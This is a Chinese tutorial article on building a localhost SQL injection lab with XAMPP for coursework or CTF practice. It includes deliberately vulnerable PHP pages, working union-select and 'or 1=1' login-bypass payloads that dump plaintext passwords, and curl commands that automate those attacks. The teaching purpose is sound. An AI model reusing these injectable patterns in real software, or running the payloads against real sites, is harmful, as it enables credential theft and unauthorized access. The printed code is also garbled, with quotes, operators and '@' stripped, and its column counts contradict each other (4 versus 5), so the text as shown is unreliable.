ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

自建SQL注入靶场:XAMPP环境与三种注入点实战解析

自建SQL注入靶场:XAMPP环境与三种注入点实战解析 简介这是一份面向网络安全学习者的SQL注入实践型大作业资料包聚焦自建简易漏洞平台帮助理解攻击原理与防御方法。资源共15个文件压缩包约6.67MB含PHP源码、XML配置、SQL数据库脚本、实验报告文档与PPT演示文稿覆盖从漏洞探测到参数化查询防护的完整流程便于对照学习与二次实验。已有301人学习下载。内容系统梳理了SQL注入的类型报错注入、时间盲注等、探测思路及防御策略配套的school.sql可用于搭建模拟学校数据库进行实战练习适合高校信息安全课程作业、CTF入门自学或渗透测试基础巩固。通过该资源学习者既能掌握漏洞成因与利用手法也能理解预编译语句、输入校验等关键防护措施提升Web安全实战能力。1. 为什么大作业要自己搭一个SQL注入漏洞平台先想清楚这三件事“SQL注入大作业报告自建简易sql注入漏洞平台”这句话看着像学生交差但把它做成一个能在本地跑通的系统比翻一百个视频教程都有用。这个方案要解决的事情很具体在你自己的电脑上用 Apache MySQL PHP 搭一个小靶场里面故意留几个注入点把字符型注入、数字型注入、万能密码绕过这些课堂理论亲手打一遍再把过程写进实验报告。适合三类人信息安全或网络工程课程要交大作业的在校生、刚入门想搞懂 SQL 注入原理的 CTF 新手、以及需要在内部培训或答辩时做安全演示的工程师。自己搭平台和用现成靶场最大的区别是代码在你手里每一步报错、每一条 SQL 语句都能在报告里讲清楚答辩的时候底气完全不同。2. 平台架构与三种注入点选型为什么现成靶场救不了大作业2.1 现成靶场很香但大作业报告需要“自己写的代码”网上随手一搜dvwa sql注入、sqlilab平台、pikachu漏洞测试平台、ctfhub技能树sql注入这些现成方案一大把有的甚至自带 Docker 镜像一条命令就能起一个完整的漏洞环境。它们的好处是省事环境封装好了、题目排好了、连通关攻略都是现成的。但大作业报告恰恰被这种“省事”坑了你可以在靶场里把注入打穿却没法在报告里写出“代码在哪个文件、哪一行、用什么函数把用户输入拼进了 SQL”。对着一套别人写好的环境做实验写出来的报告只能是一张张截图加上“我输入了什么页面返回了什么”老师一问“漏洞在你的代码里到底怎么产生的”基本接不住。拿“sql注入靶场网站”去搜搜到的结果要么是要求注册账号的在线靶场要么是容器化一键部署的系统。在线靶场的问题是你连数据库结构都看不到用得再熟也只停留在“按键通关”的层面一键部署的问题是代码是别人的你想改一个参数看看注入行为怎么变得先读懂别人的项目结构对新手来说成本很高。sqlilab平台把注入细分成很多关卡pikachu漏洞测试平台把注入、XSS、CSRF 都揉在一起DVWA 也有十来个模块这些都是很好的练习环境但它们的定位是“训练场”不是“大作业素材”。大作业要求的是一套能讲清楚原理、能被你完整复现、出了问题你知道去哪改的代码这些只有自己一行行写出来才做得到。2.2 技术选型Apache MySQL PHP 是门槛最低的组合选型上我一般直接推荐 Apache MySQL PHP理由有三个。一是教材和网上老教程绝大多数例子都是 PHP 写的遇到报错搜得到答案就算英文文档看不懂中文资料也够厚二是 PHP 原生字符串拼接 SQL 非常自然漏写一个过滤函数就能产生注入点用来做教学演示几乎是为这个场景量身定做的三是 XAMPP 一个安装包把三样全带齐双击启动不用折腾容器和虚拟环境。相比之下Java/Spring 写注入点要处理框架的参数绑定Python Flask 写起来也干净但没有 PHP 这种“直给”的效果对新手不友好。版本组合建议用 Apache 2.4 PHP 7.4 MySQL 5.7 或 8.0。PHP 7.4 对各种老函数的兼容性比 8.x 好很多很多教材例子里的mysql_query写法到 PHP 8 直接报致命错误虽然我们可以用mysqli避免这个问题但少了那些历史包袱会少很多坑。MySQL 5.7 的认证方式最省心8.0 也能用只是建用户时要指定mysql_native_password第 5 章会单独讲。字符集方面从建库到页面全部统一使用utf8mb4否则后面写中文用户名的时候会乱码这也是老教程最容易带歪人的地方。组件推荐版本主要理由常见坑Apache2.4.xXAMPP 自带成熟稳定80 端口被 IIS 或其它程序占用PHP7.4.x兼容老教程报错信息友好8.x 移除部分老函数易踩雷MySQL5.7 / 8.0自带即可8.0 认证插件与老客户端不兼容2.3 三道核心题的设计数字、字符、POST 登录覆盖教材三块考点平台不会只有一道题。常见做法是拆成三个独立入口分别对应教材里最经典的三种注入形态。因为大作业报告要展示的是一个知识体系不是一个点。注入点类型漏洞位置核心考点难度字符型注入GET 参数 id拼进带引号的 SQL单引号闭合、联合查询、注释符基础数字型注入GET 参数 id拼进无引号 SQL 且自带 LIMIT 1表达式注入判断、注释截断、负数取回显进阶POST 登录注入登录表单 username 字段万能密码、or 逻辑短路、POST 提交基础每个入口要有自己“绕不过去的坎”字符型考的是怎么把引号闭合掉数字型考的是怎么处理 SQL 尾巴上的LIMIT 1登录题考的是 POST 提交和or 11的语义。三个入口互相不重叠报告的每一章就能对应一个独立知识点。安全边界也要在报告里写清楚这个平台只监听本机设备上不要开任何网络共享更不要把它放到服务器上给别人访问。正规的 SRC 漏洞平台需要企业授权学生阶段别指望靠挖漏洞赚赏金先把本地靶场打通比什么都实在。3. 用 XAMPP 把平台跑起来建库脚本、连接文件与最小可运行目录3.1 第一步装环境、定目录、改端口XAMPP 下载安装后默认站点根目录在C:\xampp\htdocs。我们的平台就放在这个目录下的一个子文件夹里避免和默认页面混在一起。打开命令行执行mkdir /d C:\xampp\htdocs\sqli_platform这一步很简单但建议做原因是大作业要交源码目录一个干净的sqli_platform文件夹直接压缩提交就行不用从一堆默认文件里挑自己的代码。接下来启动 XAMPP 控制面板里的 Apache 和 MySQL如果 Apache 启动失败变红叉最常见原因是 80 端口被占。解决方法是编辑C:\xampp\apache\conf\httpd.conf把两处配置改掉# 找到这一行并改成 8080 Listen 8080 # 找到这一行并同步改成 8080 ServerName localhost:8080改完重启 Apache访问http://127.0.0.1:8080/dashboard能看到 XAMPP 欢迎页说明环境通了。之后的平台地址统一是http://127.0.0.1:8080/sqli_platform/注意端口别漏。3.2 建库脚本五列用户表为什么密码用明文平台需要一个测试数据库。打开 phpMyAdmin 或进入 MySQL 命令行执行下面这段建库脚本-- 建库脚本在 phpMyAdmin 或 MySQL 命令行执行 CREATE DATABASE IF NOT EXISTS sqli_lab DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci; USE sqli_lab; DROP TABLE IF EXISTS users; CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(32) NOT NULL, password VARCHAR(32) NOT NULL, email VARCHAR(64) NOT NULL, phone VARCHAR(16) NOT NULL ) ENGINEInnoDB DEFAULT CHARSETutf8mb4; -- 密码采用明文只为了靶场演示方便生产环境必须哈希 INSERT INTO users (username, password, email, phone) VALUES (admin, admin888, adminlab.local, 13800000001), (teacher, t123456, teacherlab.local, 13800000002), (student01,stu123456, student01lab.local,13800000003), (test, test123456, testlab.local, 13800000004);这段脚本里有两个设计是故意的一是把password字段明晃晃地存成明文因为大作业讲注入时要把查出来的密码直接展示在报告里如果先做一遍 MD5 加密讲课时还得解释“为什么查出来的是哈希值”多一层理解成本二是表结构设计成 5 列这样联合查询时union select 1,2,3,4,5的数字能精确对应表里的每一列回显位一目了然。脚本里的DROP TABLE IF EXISTS users是为了重复执行时不会报错后面的实验如果改了表结构重新跑一遍脚本就能恢复初始状态相当于给了自己一颗后悔药。3.3 最小可运行目录与 config.php平台不用做得多复杂能跑通的最小结构就是一张表加几个 PHP 文件。文件清单如下每个文件的职责尽量单一文件路径主要作用备注sqli_platform/index.php入口导航页列出三道题入口方便报告截图sqli_platform/config.php统一定义数据库连接所有页面复用sqli_platform/c_char.php字符型注入题GET 传参sqli_platform/c_int.php数字型注入题GET 传参SQL 自带 LIMITsqli_platform/login.phpPOST 登录注入题演示万能密码sqli_platform/reset.php重置数据库重新导入初始数据演示环境被打乱时一键恢复先写config.php这是整个平台的地基。连接要用mysqli不要用老教材里的mysql_connect后者在 PHP 7 以上已经不存在了。?php // config.php所有注入题共用的数据库连接 header(Content-Type: text/html; charsetutf-8); // 开发期把数据库错误直接抛到页面报告里截报错信息也方便 mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); $conn mysqli_connect(127.0.0.1, root, , sqli_lab, 3306); if (!$conn) { die(数据库连接失败 . mysqli_connect_error()); } mysqli_set_charset($conn, utf8mb4); ?这段代码里的mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT)是调错利器SQL 写错时会直接显示详细的 MySQL 错误信息比如“Unknown column”或“You have an error in your SQL syntax”实验报告里贴这种报错截图比贴“页面空白”有说服力得多。127.0.0.1和3306是 XAMPP 默认的地址和端口如果你之前自己装过 MySQL 并改过密码把第三个参数从空字符串改成你的密码就行。生产环境会把错误显示关掉这是教学靶场的特意取舍别把这个配置带到真实项目里。3.4 验证平台已经跑通的三个信号环境搭完不要急着写漏洞代码先确认三件事访问http://127.0.0.1:8080/sqli_platform/index.php能看到一个只有文字链接的简单导航页在 phpMyAdmin 里能看到sqli_lab库和users表的四行数据随便在浏览器打开http://127.0.0.1:8080/sqli_platform/config.php页面不报错这个页面没有输出空白是正常的报错说明连接有问题。这三个信号都正常说明 Apache、PHP、MySQL 三者已经打通后面写注入题就是在框架里填业务逻辑了。4. 三道注入题的实现与攻击路径从“能注入”到“能出数据”4.1 字符型注入单引号闭合的完整链路字符型注入的核心特征是把用户输入包在单引号里拼进 SQL。c_char.php的完整代码?php require_once config.php; // 故意不做任何过滤这是题目的核心漏洞 $id isset($_GET[id]) ? $_GET[id] : 1; // 用户输入被单引号包裹注入的关键是把这个引号闭合掉 $sql SELECT id, username, email, phone FROM users WHERE id $id; $result mysqli_query($conn, $sql); ? !DOCTYPE html html langzh headmeta charsetutf-8title字符型注入题/title/head body form methodget actionc_char.php input typetext nameid value?php echo htmlspecialchars($id); ? input typesubmit value查询 /form table border1 trthID/thth用户名/thth邮箱/thth电话/th/tr ?php if ($result mysqli_num_rows($result) 0) { while ($row mysqli_fetch_assoc($result)) { echo trtd{$row[id]}/tdtd{$row[username]}/tdtd{$row[email]}/tdtd{$row[phone]}/td/tr; } } else { echo trtd colspan4查询无结果/td/tr; } ? /table /body /html这段代码的逻辑很直白取$_GET[id]不做任何过滤直接拼进 SQL 字符串再把查询结果一行行渲染到表格里。htmlspecialchars只是为了避免输入框回显时破坏页面结构不影响注入本身。实验中要在浏览器输入三组 payload每一步都是报告里的一个小节第一步判断注入输入1 and 11页面正常显示 admin 数据输入1 and 12页面显示“查询无结果”。这证明单引号被闭合后后面的逻辑条件真的参与了 SQL 执行。第二步猜列数输入1 order by 4页面正常输入1 order by 5页面报错“Unknown column”说明表正好 4 列这里 # 注释符可以直接写进地址栏MySQL 会把它当成注释。第三步定位回显位输入1 union select 1,2,3,4页面会显示第 3、4 列是可见的等下查数据就放在这两个位置。第四步脱库输入1 union select 1,username,password,email from users #地址栏会变成c_char.php?id1 union select 1,username,password,email from users%23#不编码的话会被浏览器当成锚点丢弃。拿到四个账号的明文密码字符型注入的完整攻击链路就结束了。这一步的做法在不少 CTF 入门题的 SQL 注入模块里也是一样的套路先闭合、再猜列、然后联合查询。4.2 数字型注入自带 LIMIT 1 的题目才有教学价值数字型注入看起来比字符型简单因为 SQL 语句里没有引号需要闭合。如果只是做一个无引号拼接的题目和上一题的区别就只剩下“要不要加引号”写进报告翻来覆去就那点内容。所以我在这题里故意在 SQL 语句尾部加了一句LIMIT 1给题目增加一个真正的考点注释符截断。?php require_once config.php; // 无引号拼接参数值直接参与 SQL 运算 $input isset($_GET[id]) ? $_GET[id] : 1; // LIMIT 1 是这题的机关想用 union 出多行数据必须先处理掉它 $sql SELECT id, username, email, phone FROM users WHERE id . $input . LIMIT 1; $result mysqli_query($conn, $sql); ?页面渲染部分和字符型一样这里不再重复。数字型第一个经典判断手法是“表达式注入”输入2-1如果页面回显的是id1的那行数据说明2-1被 MySQL 当成了算术表达式执行最后变成WHERE id1这就证明参数完全没有被过滤或类型转换直接进了 SQL。第二个手法是负数取回显输入-1 union select 1,2,3,4,5因为WHERE id-1本身查不到数据union后面的结果就会成为唯一回显这一招在字符型里同样适用但在这题里更关键——不写成负数联合会把前面正常查询的结果和注入结果混在一起干扰观察。第三个手法才是这题的核心直接输入-1 union select 1,username,password,email from users#注意 URL 里的编码写法c_int.php?id-1 union select 1,username,password,email from users%23#的作用是把 SQL 语句尾巴上的LIMIT 1注释掉否则整个结果集会被LIMIT 1强制截断成一行union 后面的数据全部丢失。这一步如果不注释页面只显示一行你可能会怀疑自己 union 语法写错了实际上是被 SQL 的尾巴吞了。数字型这题写进报告的知识点比字符型多一个层次先判断表达式注入再处理注释符最后负数取回显。4.3 POST 登录与万能密码绕过认证的完整演示第三题设计成登录表单不再用 GET 参数而是让用户把注入载荷放进 POST 请求。这题的代码就是一个带数据库查询的最小登录逻辑?php require_once config.php; if ($_SERVER[REQUEST_METHOD] POST) { // 注意用户名和密码都直接拼进 SQL没有任何参数化处理 $username isset($_POST[username]) ? $_POST[username] : ; $password isset($_POST[password]) ? $_POST[password] : ; $sql SELECT * FROM users WHERE username $username AND password $password; $result mysqli_query($conn, $sql); if ($result mysqli_num_rows($result) 0) { $row mysqli_fetch_assoc($result); echo 登录成功欢迎 . $row[username]; } else { echo 用户名或密码错误请重试; } } ? form methodpost actionlogin.php 用户名input typetext nameusernamebr 密码input typepassword namepasswordbr input typesubmit value登录 /form这道题的考点是万能密码绕过。用户名输入admin or 11 -- -密码随便填登录直接通过。因为 SQL 语句变成了SELECT * FROM users WHERE username admin or 11 -- - AND password 任意值or 11让整个 WHERE 条件恒为真-- -把后面的AND password部分注释掉签名里的空格是 MySQL 注释符的标准要求写成-- -而不是--可以避免某些版本的语法报错。换一个变体 or 11#也能拿到同样的效果区别是前者用or短路绕过后者用注释符直接截断。两个都可以试一遍报告里写一下“为什么同一个漏洞有两种开锁方式”一个是让条件恒真一个是把条件失效。相比字符型 GET 注入这道题多了一层对 HTTP 请求方式的理解POST 载荷在 URL 里看不到实验报告要用浏览器开发者工具或抓包截图来展示请求体。4.4 三个题目的预期结果速查表写报告时最怕的是费了半天劲自己都不知道哪个结果算成功。下面是三题的标准输出对照每一条都可以直接截图放进报告结果部分题目输入载荷预期回显考查点字符型1 and 11正常显示 admin 数据判断注入字符型1 and 12查询无结果引号闭合生效字符型1 union select 1,username,password,email from users#显示全部用户名和密码联合查询数字型2-1显示 id1 的数据表达式注入数字型-1 union select 1,username,password,email from users#显示全部用户名和密码注释截断 LIMIT登录题admin or 11 -- -登录成功万能密码这张表建议也写进报告的问题分析那一章老师扫一眼就能看出你对每种注入的理解边界在哪。5. 自建靶场的5个典型翻车点现象、原因与修法5.1 mysql_connect 报错PHP 版本把老函数删了很多教材和网上教程还在用mysql_connect、mysql_query这套老写法。照着抄会直接在页面顶部看到Fatal error: Uncaught Error: Call to undefined function mysql_connect()。原因很简单PHP 7.0 开始移除了mysql扩展PHP 8 里更是彻底没有这个东西。解决方法是把老代码里的mysql_connect全部换成mysqli_connectmysql_query换成mysqli_query并且在config.php后面统一复用连接对象。我见过有人只改函数名参数没动mysqli_connect(localhost, root, )在某些环境下会因为 localhost 解析到 IPv6 而连不上直接改用127.0.0.1最省事。5.2 MySQL 8 连接失败认证插件不匹配页面白屏phpMyAdmin 能进但自己写的 PHP 连不上报错信息里有The server requested authentication method unknown to the client [caching_sha2_password]。原因是 MySQL 8 默认的认证插件是caching_sha2_password老版本的 PHP 客户端不认识它。解决办法是在 phpMyAdmin 的 SQL 窗口里执行ALTER USER rootlocalhost IDENTIFIED WITH mysql_native_password BY 你的密码;执行完刷新连接PHP 页面就恢复正常了。如果还是不行检查config.php里连的是localhost还是127.0.0.1以及端口是不是 3306。这两个细节权重极高。5.3 Apache 起不来80 端口被占用XAMPP 控制面板里 Apache 模块一直红叉点 Start 后几秒就变灰。最常见原因是系统里装了 IIS、VMware 的虚拟机服务或其它 Web 环境把 80 端口占了。解决方法是改httpd.conf里的Listen 80为Listen 8080同时把ServerName localhost:80改成localhost:8080改完重启 Apache。要注意后续所有实验 URL 都要带上:8080不要用不带端口的地址访问否则会打到别的服务上搞出“平台明明跑了却打不开”的乌龙。5.4 页面全是问号乱码注入题跑通了但用户名或输入框里的中文显示成???phpMyAdmin 里看数据却是正常的。原因是三处字符集不一致MySQL 库表用了utf8mb4PHP 页面没有输出header(Content-Type: text/html; charsetutf-8)HTML 本身又缺meta charsetutf-8。解决方法是三处统一建库脚本里已经写了DEFAULT CHARACTER SET utf8mb4config.php里加mysqli_set_charset($conn, utf8mb4)每个页面的head里写meta charsetutf-8。如果之前建的库是老字符集直接删掉重建因为靶场没有任何需要保留的历史数据。5.5 杀毒软件把 XAMPP 当威胁Windows Defender 或第三方杀毒软件突然弹出“检测到风险”Apache 进程被干掉重启后又死。原因是本地 Apache 加 PHP 的目录结构在某些行为特征上和黑客工具包相似杀毒软件按行为特征误报。解决方法是把C:\xampp整个目录加入 Defender 的排除项并在杀毒软件里把对应的进程加入信任区。这里要特别说明自建漏洞平台只在本机运行如果哪天你在配置里把监听地址从127.0.0.1改成了外网地址杀毒软件弹窗就要警惕了先检查是不是被植入了恶意文件不要直接加白名单了事。6. 实验报告怎么收尾用 curl 做注入验证再加三道扩展题6.1 把“跑通了”变成报告数据一行 curl 一条结论网页手工点出来的截图当然可以放进报告但更专业的做法是用命令行做自动化验证把输出结果直接作为实验结论。以下三条命令分别验证三道题的核心注入链路# 字符型联合注入拿 admin 邮箱做匹配能输出邮箱说明 union 生效 curl -s http://127.0.0.1:8080/sqli_platform/c_char.php?id1%20union%20select%201,2,3,4,5%23 | grep -o adminlab.local # 数字型注入先用表达式 2-1 判断注入回显 student01 说明 SQL 执行了算术 curl -s http://127.0.0.1:8080/sqli_platform/c_int.php?id2-1 | grep -o student01 # 登录题POST 提交万能密码返回“登录成功”字符串 curl -s -X POST -d usernameadmin or 11 -- -passwordx http://127.0.0.1:8080/sqli_platform/login.php | grep -o 登录成功几条命令有几个细节必须写进报告URL 里的#必须编码成%23否则浏览器和 curl 都会把它当成锚点直接丢弃空格用%20表示比用更保险因为在某些场景下会被解码成空格以外的字符登录题必须用-d走 POST 方法用 GET 去请求login.php拿不到任何结果。curl 命令的输出可以直接grep出关键字段每条命令对应报告里的一个小结论比贴十张截图清爽得多。6.2 三种十分钟能加上的扩展题如果报告还需要一点纵深可以在现有平台上快速加三个进阶实验。报错注入在 SQL 里调用updatexml函数让注入结果通过数据库错误信息回显布尔盲注把题目回显改成“有数据/无数据”两种状态用if(ascii(substr(...))n,1,0)逐位猜解密码二次注入注册用户名时把admin#存进数据库下次更新操作把它拼进 SQL 触发注入。三个都是十分钟能实现的量级报告里每加一个平台就从“漏洞展示”变成了“漏洞研究”。我带毕设那会儿有个习惯每个题目页面旁边放一个reset.php环境被反复注入打乱后一键重建数据答辩前再完整跑一遍 curl 脚本确保报告里每一行结论都是这台机器上现跑出来的而不是背下来的答案。这个习惯会让人很踏实也让你从“能跑”走到“能答辩”。希望帮到你。本文还有配套的精品资源点击获取
返回列表